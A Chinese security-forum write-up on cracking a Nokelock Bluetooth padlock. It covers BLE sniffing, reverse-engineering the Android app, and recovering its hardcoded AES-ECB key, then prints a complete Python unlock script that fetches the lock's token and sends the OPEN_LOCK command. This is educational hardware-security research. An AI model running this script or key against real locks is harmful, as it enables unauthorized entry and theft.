首页
社区
课程
招聘
[原创]关于Nokelock蓝牙锁破解分析
2023-4-6 21:54 19467

[原创]关于Nokelock蓝牙锁破解分析

2023-4-6 21:54
19467

前言

img
今年西葫芦剑的时候是一个蓝牙题都没做出来,之前复现xuanxuan师傅出的THUCTF硬件题的蓝牙部分也没完全弄懂,于是下定决心通过几个设备来研究研究
刚学pwn的时候,对宿舍楼下的小蓝车就有所“垂涎”,一直在思考如何打(太可刑了)
经过给小蓝车app投资数次1.5米巨资过后,作为名义上的股东,我大概弄清楚了小蓝车的锁应该也是蓝牙的(因为每次连它都让我开蓝牙233)
为了避免下半辈子只能在几平米的空间活动,我在某鱼上淘到了一款蓝牙锁作为小蓝车的平替
这里简单记录一下研究的过程

nRF蓝牙抓包

首先需要解决的问题是获取蓝牙锁的MAC地址,因为最后我们需要使用gatttool(后面会提到这个工具)直接通过MAC地址与蓝牙锁交互
比较好用的是nRF这个软件(苹果手机可以用lightblue),能够直接扫描查看周围的蓝牙设备
但如果直接在生活区进行抓包干扰因素非常多:
img
于是我们跑到一个没有其它设备的地方轻触指纹区域,当亮起红光的时候:
img
在nRF上就能看到设备名和MAC地址了:
img
可以看出设备名为BlueFPL,MAC地址为F0:45:DA:AA:F4:36

蓝牙扫描

初步扫描

通过树莓派+蓝牙适配器的组合(环境搭建详见:[原创]基于树莓派的蓝牙调试环境搭建-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
使用bluetoothctl的scan on功能,就能扫描出设备:
img
表示我们的蓝牙调试环境没有问题
使用gatttool尝试连接并使用primary看查所有service:
img
然后通过characteristics命令看查所有的特性:
img
其中handle是特性的句柄,char properties是特性的属性值,char value handle是特性值的句柄,uuid是特性的标识
虽然扫描出了service和characteristics,但我们还不能直观的知道这些服务是用来干什么的,而且也没法将特性和服务配对
下面我们使用bettercap这一个强大的工具中的"ble.recon"模块,进行深入的扫描和理解

深入扫描

githu仓库:https://github.com/bettercap/bettercap
个人认为仓库给出的安装教程非常的模糊,很多东西都没有说清楚,所以这里简单讲讲我是怎么安装的
环境:ubuntu或树莓派4b 安装:
(1)首先需要安装go环境:

1
sudo apt install golang-go

(2)go“换源”:

1
echo "export GOPROXY=https://goproxy.io,direct" >> ~/.profile && source ~/.profile

(3)安装依赖:

1
sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config

(4)安装软件包:

1
2
3
4
git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install

然后输入如下命令就能够使用低功耗蓝牙功能了:

1
2
sudo bettercap
ble.recon on

img
具体的用法可以参考官方手册:https://www.bettercap.org/modules/ble/
对于我们刚才提到的需要,使用ble.enum就好啦:
img
可以发现,通过ble.enum,能够形象地看出service所属的characteristics以及它们的属性
接下来我们就可以通过蓝牙嗅探,看看在开锁的过程中涉及的服务和特征

蓝牙抓包

思路一:使用ubertooth进行嗅探

通过ubertooth one,我们嗅探到了如下的蓝牙数据:
img
可以看出大致分为"Write Request"和"Handle Value Notification"两类,我们各点开一个看看
"Write Request":
img
"Handle Value Notification":
img
可以发现它们的handle分别是0x3和0x6,分别对应的是前面bettercap里获取的UUID为36f5和36f6的特征,十分合理
于是以后的抓包我们可以给出如下过滤(上面那张图片这么规整已经是过滤过后了的):

1
(btatt.opcode == "Handle Value Notification" && btatt.handle == 0x6 ) || (btatt.opcode == "Write Request" && btatt.handle == 0x3)

多次尝试抓包,发现value的值差别很大,猜测有所加密 那么下一步就要从安卓逆向的角度分析app里的加密模式和密钥了

思路二:从BUG日志中获取蓝牙HCI日志

实际上可能会出现很难抓到包的情况,所以这里提供第二种思路供大家尝试:
嗅探是中间信道,很可能会受到干扰,于是我们尝试从手机的蓝牙日志里直接获取和锁的通信
首先需要打开开发人员选项,一般的手机都是在"关于本机"的位置点击多次版本号就可打开
进入开发人员选项后,开启"蓝牙HCI信息收集日志"
img
然后我们需要使用"adb"这个调试工具,连上手机,然后dump下BUG日志
img
解压这个zip文件,在解压目录下会生成同名的一个txt文件:
img
把它拖到Ubuntu里面(不知道为啥,在我的windows上会有问题),然后下载一个叫btsnooz.py的脚本并把它放在和这个文本文件同目录下,执行如下命令:

1
LC_CTYPE=C sed -n "/BEGIN:BTSNOOP_LOG_SUMMARY/,/END:BTSNOOP_LOG_SUMMARY/p " bugreport-ASK-AL00x-HONORASK-AL00x-2023-04-03-08-31-01.txt | egrep -av "BTSNOOP_LOG_SUMMARY" | python btsnooz.py > hci.log

(ps:为什么命令会和官方的教程有点不太一样,因为产生了如下的报错和解决办法)
img
然后就得到了能够用wireshark查看的蓝牙日志"hci.log"了:
img
可以看到效果非常好,但是在笔者的手机上的数据会有一个问题,就是value显示不全:
img
不知道是不是脚本对数据包有所切割,反正就感觉很离谱
而且这种方法对我平时用的手机也不生效,甚至不能产生hci.log文件

app逆向分析(初步)

将apk拖进JEB中,然后在Bytecode层级的com.nokelock.blelibrary.b.b里面能找到加密和解密的地方:
img
差别就是Ciper.init()的第一个参数,询问一下chatgpt:
img
img
观察类中的这两个方法,都涉及两个byte数组参数arg2,arg3:
img
arg2对应的是密文/明文,arg3对应的是密钥
具体的用Ciper类加密可以参考这一篇文章:Java使用Cipher类实现加密,包括DES,DES3,AES和RSA加密 - 蔡昭凯 - 博客园 (cnblogs.com)
经过上面的分析,我们知道了加密算法是AES而且是ECB模式无padding,但是还不知道密钥和密钥长度
接下来我们尝试在apk里进行插桩,目的是打印密文/明文,密钥来分析实际上开锁的时候在apk中的数据

app插桩

插桩过程

实际上插桩这步是劳烦oacia爷帮我做的,教程同步到了他的文章:[原创]对某apk的一次插桩记录-Android安全-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
写的非常好,这里就不再班门弄斧了
可能唯一没太讲清楚会遇到问题的是,使用他给的smali进行插桩会和github上的项目会有一点点差别:
img

1
invoke-static {p0}, LSewellDinGLog;->Log([B)V

在最后插桩的时候,这里从object变成B类(字节数组)了,如果还是使用object类会有问题
因为我们重写的java源码是对字节数组进行的操作,可以参考原来的apk里类似对字节数组的操作的smali代码:
img
img
然后还有一个神奇的问题,就是在笔者的电脑上使用回编译过后的apk,会缺少签名、主SDK等等东西:
img
这种APK在我的手机上安装不了,但雷电模拟器能装(但先要使用这个工具对回编译的APK进行签名)
于是我把雷电模拟器里的apk导出来,它的这些东西又变正常了:
img
非常神奇,然后顺利成章的我的手机也能装了
原来手机也这么矫情2333

插桩打印信息分析

通过adb工具,我们能够连接安卓设备并且执行一些命令
这里我们通过adb logcat命令来搜索SewellDinG查看插桩打印的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
F:\platform-tools>adb logcat -s SewellDinG
--------- beginning of main
03-27 17:18:08.895 31117 31117 D SewellDinG: 05010630303030303082E3C89616017D
03-27 17:18:08.895 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:08.895 31117 31117 D SewellDinG: 6629B62C88A7E50525E92C328AF258E6
03-27 17:18:10.114 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:10.114 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:10.114 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:11.770 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:11.771 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:11.772 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
03-27 17:18:37.864 31117 31117 D SewellDinG: 05010630303030303082E3C89601635C
03-27 17:18:37.864 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:37.864 31117 31117 D SewellDinG: 3FFA9BE0BA05D2ECC8CF74D2CDB7867C
03-27 17:18:39.263 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:39.263 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:39.263 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:40.923 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:40.923 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:40.924 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000

解密

在插桩打印的信息中有两个点值得我们注意:
(1)"241F632E5907042061014C1A3A45193B"这个字符串一直在重复,且一直处于一组数据的中部
(2)出现了以"050D"、"0502"、"0501"开头的后面不大一样的疑似有规律的数据
根据我们的插桩,一直处于中部的数据只可能是密钥,那么"241F632E5907042061014C1A3A45193B"就是密钥的某种形式。通过密钥创建的方法"SecretKeySpec"的参数类型可以看出,这是密钥的16进制字符串表示:
img
对chatgpt输入如下指令即可自动生成解密脚本:

1
请用python实现一个密钥的16进制字符表示形式是241F632E5907042061014C1A3A45193B的ECB模式无padding的AES-128解密程序,并以16进制字符串的形式输出打印明文

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
 
# 转换输入的16进制字符串为字节串
key_hex = "241F632E5907042061014C1A3A45193B"
 
key = binascii.unhexlify(key_hex)
#key = b"[B@7ef20235"
# 创建 AES 密钥
if len(key) == 16# 128 bit
    algorithm = algorithms.AES(key)
else:
    raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
#iv = "a20e10ec8ebfd6069c1f84a9cff39e33"
iv = "51653e25e098f5e74e0f152062ee6d5d"
encrypted_data = binascii.unhexlify(iv)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 打印解密结果
print(binascii.hexlify(decrypted_data))

运行结果:
img
对我们之前的wireshark里的数据都进行解密,然后把结果用XLS表示出来:
img
在app里的com.nokelock.blelibrary.mode.order可以发现和"Write Request"解密出来的头4个字符有关的enum:
img
添加到表格中:
img
发现有一个特别令我们欣喜的东西——"OPEN_LOCK"
是否意味着我们把这个value的值通过蓝牙工具发到锁中锁就开了?
答案是否定的,这个value以及它解出来的text是会变的,这一点比照前面adb打印插桩的同样的"0501"开头的数据就知道。所以我们还需要知道怎么获得这个"变"的东西
值得注意的是,同样在这个地方有个"GET_TOKEN"字样:
img
猜测变化的值和这里有关
至于有没有和"Handle Value Notification"有关的类似的enum,在com.nokelock.blelibrary.mode.a里找到了这个:
img
不难看出,这里的代码应该是app接收到蓝牙锁返回的"Handle Value Notification"的value,将它解密过后根据前4个字符去执行对应的功能。而且根据"0202"这个分支里的具体内容已经能大致猜测这里响应的内容是什么了——电池电量,因为有个(v1<=100)的判断,然后对v3这个bool变量赋值判断是否合法。
再结合之前的"0201"为"GET_BATTERY",一切的说法都看上去合理了起来,我们甚至已经能根据前面的数据,推测响应的时候电池电量为54
但这个说法还有待验证,以及我们还不知道"v0.a()"执行了什么操作,于是需要更深入的逆向

app逆向(深入)

对于说法的验证

首先为了验证前面"发送过后获取响应"的说法,逆向到了com.nokelock.blelibrary.BLEService:
img
看到了熟悉的两个UUID,以及它们对应的Characteristic变量
在下面能找到分别对这两个Characteristic的操作:
img
从这里就已经能看出在蓝牙通信的时候,app往UUID36f5写入请求信息,然后蓝牙锁通过UUID36f6进行响应

探究v0的操作

v0一开始是在这里定义的:
img
这个com.nokelock.blelibrary.a.a是一个抽象接口:
img
以v0.a()为例,如果我们想看它具体是怎么实现的,在JEB里点击"a"就能直接查看了:
img
进入红框的部分就能看到具体的实现了:
img
可以看到这里有个电池电量低于20就会打印"电量不足"的字样,和使用app时候的情况一致
猜测对于"GET_TOKEN"的响应也在这里面,但是不好直接找出TOKEN的值
于是我们去找"OPEN_LOCK"的地方,因为那里大概率会有响应的"TOKEN"

探究"OPEN_LOCK"写入了什么

在jadx里查找"OPEN_LOCK"这个字符串,定位到了这个地方:
img
红框部分通过对"SET_B_ARRAY"的逆向,可以得到是:
(0x6,0x30,0x30,0x30,0x30,0x30,0x30)
对应了OPEN_LOCK解密的部分数据:06303030303030
其余数据能够在父类TX_Order里看出来:
img
蓝色部分是0501,绿色部分是刚才的那块数据,红色部分应该是Token,剩下的黄色部分使用随机数进行填充

响应的TOKEN

分析com.nokelock.blelibrary.b.d.a().b():
img
最后返回的其实是这里的字符数组:
img
"c2 == 0"对应的是它上面的一个地方:
img
结合之前的分析,就能知道GET_TOKEN的响应头应该是"0602"了 那么接下来唯一需要解决的是发送的GET_TOKEN请求长什么样子了

如何GET_TOKEN

同样通过查找字符串的手段,我们可以定位到这里:
img
和"OPEN_LOCK"不一样的地方就是它重写了a()这个方法,可以很容易分析出响应头为"06010101"
剩下的数据都是为了方便最后的加密进行的随机数的填充
那么发送未加密前是"06010101000000000000000000000000"的数据就能成功获取TOKEN的值

发送数据尝试开锁

通过上面有点长的分析,我们弄清楚了开锁的重要流程(关于获取电量这些无关紧要的在此不考虑):
(1)APP发送GET_TOKEN请求,锁返回TOKEN
(2)APP根据锁返回的TOKEN,执行开锁命令
接下来我们通过Bluepy这个python的蓝牙模块尝试发包开锁

安装Bluepy

github网址:IanHarvey/bluepy: Python interface to Bluetooth LE on Linux (github.com)
安装依赖(使用python3环境):

1
sudo apt-get install python3-pip libglib2.0-dev

安装模块:

1
sudo pip3 install bluepy

如果上面两步失败,可以尝试从源码进行安装:

1
2
3
4
5
sudo apt-get install git build-essential libglib2.0-dev
git clone https://github.com/IanHarvey/bluepy.git
cd bluepy
python setup.py build
sudo python setup.py install

Bluepy的基本使用

官方手册:bluepy - a Bluetooth LE interface for Python — bluepy 0.9.11 documentation (ianharvey.github.io)
Bluepy这个模块采用了面向对象编程的思想,在具体操作的时候对设备、服务等等都抽象成了对象以便于操作

扫描

通过Scanner生成一个对象进行扫描:

1
2
3
4
5
scanner = Scanner()
devices = scanner.scan(timeout=3)
print("%-30s %-10s" % ("Name", "Address"))
for dev in devices:
        print("%-30s %-20s" % (dev.getValueText(9), dev.addr))

建立连接

通过Peripheral函数建立连接

1
2
addr = ""
conn = Peripheral(addr)   

获取Service

1
2
3
services = conn.getServices()
for svc in services:
    print(svc.uuid)   

获取characteristics

1
2
3
4
5
6
7
# 1. 获取所有 Characteristic
characteristics = conn.getCharacteristics()
for charac in characteristics:  
    print(charac.uuid)
     
# 2. 获取特定 Service 下的 Characteristic
characteristics = svc.getCharacteristics()

读写Characteristic

1
2
charac.read()            
charac.write()         

尝试开锁

订阅Notification

经过分析,我们知道36f6这个characteristic的属性是notify
对于notify属性的characteristic,没办法直接读和直接写,需要先向UUID为"0x2902"的descriptor写入"1"进行订阅才能获取所有notify属性的characteristic的响应
另外,我们写一个类来获取响应的handle和value:

1
2
3
4
5
6
7
8
9
class NotifyDelegate(DefaultDelegate):
    def __init__(self,params):
        DefaultDelegate.__init__(self)
         
    def handleNotification(self,cHandle,data):
        global TOKEN
        print("Notification from Handle: 0x" + format(cHandle,"02X"))
        TOKEN = decrypt(binascii.hexlify(data))
        print(TOKEN)

获取token

通过等待响应即可获取token:

1
2
3
4
5
while True:
    if conn.waitForNotifications(1.0):
        break
    print("Wating....")
    TX_CHAR.write(binascii.unhexlify(encrypt(pd)))   

发包开锁

对36f5写入发包数据即可开锁:

1
2
pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))   

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
from bluepy.btle import Scanner,Peripheral,DefaultDelegate
 
KEY = "241F632E5907042061014C1A3A45193B"
TOKEN = ""
class NotifyDelegate(DefaultDelegate):
    def __init__(self,params):
        DefaultDelegate.__init__(self)
         
    def handleNotification(self,cHandle,data):
        global TOKEN
        print("Notification from Handle: 0x" + format(cHandle,"02X"))
        TOKEN = decrypt(binascii.hexlify(data))
        print(TOKEN)
 
def decrypt(plaintext):
    key = binascii.unhexlify(KEY)
 
    # 创建 AES 密钥
    if len(key) == 16:  # 128 bit
        algorithm = algorithms.AES(key)
    else:
        raise ValueError("Invalid key size")
 
    # 创建解密器
    backend = default_backend()
    cipher = Cipher(algorithm, modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()
 
    # 解密密文
    encrypted_data = binascii.unhexlify(plaintext)
    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
 
    # 解密结果
    return binascii.hexlify(decrypted_data)
 
def encrypt(plaintext):
    # 将密钥从16进制字符串转换为字节数组
    key = binascii.unhexlify(KEY)
     
    # 创建AES加密器对象
    backend = default_backend()
    algorithm = algorithms.AES(key)
    cipher = Cipher(algorithm, modes.ECB(), backend=backend)
    encryptor = cipher.encryptor()
     
    # 对明文进行加密
    decrypted_data = binascii.unhexlify(plaintext)
    encrypted_data = encryptor.update(decrypted_data) + encryptor.finalize()
     
    # 将密文转换为16进制字符串返回
    return binascii.hexlify(encrypted_data)
 
def done(addr):
    global TOKEN
    print("[+]Find BlueFPL")
    print("[+]Try Connecting.....")
    conn = Peripheral(addr)
    if conn:
        print("[+]Connecting successfully!")
        conn.withDelegate(NotifyDelegate(conn))
    else:
        print("[+]Fail to connet")
        exit(1)
    print("[+]Try find fee7")
    svc_uuid = "0000fee7-0000-1000-8000-00805f9b34fb"
    svc = conn.getServiceByUUID(svc_uuid)
    if svc :
        print("[+]Found fee7!")
    else :
        print("[+]fee7 not found")
        exit(1)
    print(svc.uuid)
    TX_CHAR = conn.getCharacteristics(uuid = "000036f5-0000-1000-8000-00805f9b34fb")[0]
    RX_CHAR = conn.getCharacteristics(uuid = "000036f6-0000-1000-8000-00805f9b34fb")[0]
     
     
    print("[+]Try GET_TOKEN")
    pd = "06010101000000000000000000000000"
 
    hEcg = RX_CHAR.getHandle()
    hEcgcc = 0
    for descriptor in conn.getDescriptors(hEcg,svc.hndEnd):
        if (descriptor.uuid == 0x2902):
            print("[+]Found descriptor handle")
            hEcgcc = descriptor.handle
    if hEcgcc == 0:
        print("Fail to find descriptor handle")
        exit(1)
    print("[+]Descriptor handle:"+str(hEcgcc))
     
    conn.writeCharacteristic(hEcgcc,bytes([1,0]))
     
    while True:
        if conn.waitForNotifications(1.0):
            break
        print("Wating....")
        TX_CHAR.write(binascii.unhexlify(encrypt(pd)))   
    TOKEN = TOKEN[6:14]
    print(b"[+]TOKEN:"+TOKEN)
    print("[+]Try OPEN_LOCK")
     
    pd = b"050106303030303030"+TOKEN+b"000000"
    TX_CHAR.write(binascii.unhexlify(encrypt(pd)))   
    print("[+]Open successfully!")
    conn.disconnect()
     
 
if __name__ == "__main__":
    scanner = Scanner()
    devices = scanner.scan(timeout = 3)
    for dev in devices:
        if dev.getValueText(9) and ("BlueFPL" in dev.getValueText(9)):
            done(dev.addr)

执行效果

img

参考文章

物联网安全拔“牙”实战——低功耗蓝牙(BLE)初探 https://www.ctfiot.com/10661.html
Ubertooth One 使用系列 (一) — 破解蓝牙锁 - 知乎 (zhihu.com)
低功耗蓝牙ATT/GATT/Profile/Service/Characteristic规格解读 - iini - 博客园 (cnblogs.com)
Java使用Cipher类实现加密,包括DES,DES3,AES和RSA加密 - 蔡昭凯 - 博客园 (cnblogs.com)
[python] bluepy 一款python封装的BLE利器 - beautifulzzzz - 博客园 (cnblogs.com)
Python3环境,树莓派使用bluepy与BLE设备通信 - 天命小猪 - 博客园 (cnblogs.com)


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2023-8-30 17:49 被Nameless_a编辑 ,原因:
收藏
点赞15
打赏
分享
最新回复 (7)
雪    币: 3985
活跃值: (5624)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
badboyl 2 2023-4-7 10:40
2
0
雪    币: 4084
活跃值: (5893)
能力值: ( LV7,RANK:102 )
在线值:
发帖
回帖
粉丝
fjqisba 2023-4-7 11:22
3
0
什么年代了,还插桩,frida走一个
雪    币: 6470
活跃值: (10659)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
Nameless_a 5 2023-4-7 11:29
4
0
fjqisba 什么年代了,还插桩,frida走一个
hhhh还是安卓新手,正准备学呢
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_qmtzgzzj 2023-4-7 15:34
5
0
大佬牛逼!
雪    币: 19773
活跃值: (29390)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-4-8 13:55
6
1
感谢分享
雪    币: 341
活跃值: (213687)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
shinratensei 1 2023-4-8 17:18
7
0
tql
雪    币: 8297
活跃值: (4831)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
v0id_ 2023-4-9 18:24
8
0
游客
登录 | 注册 方可回帖
返回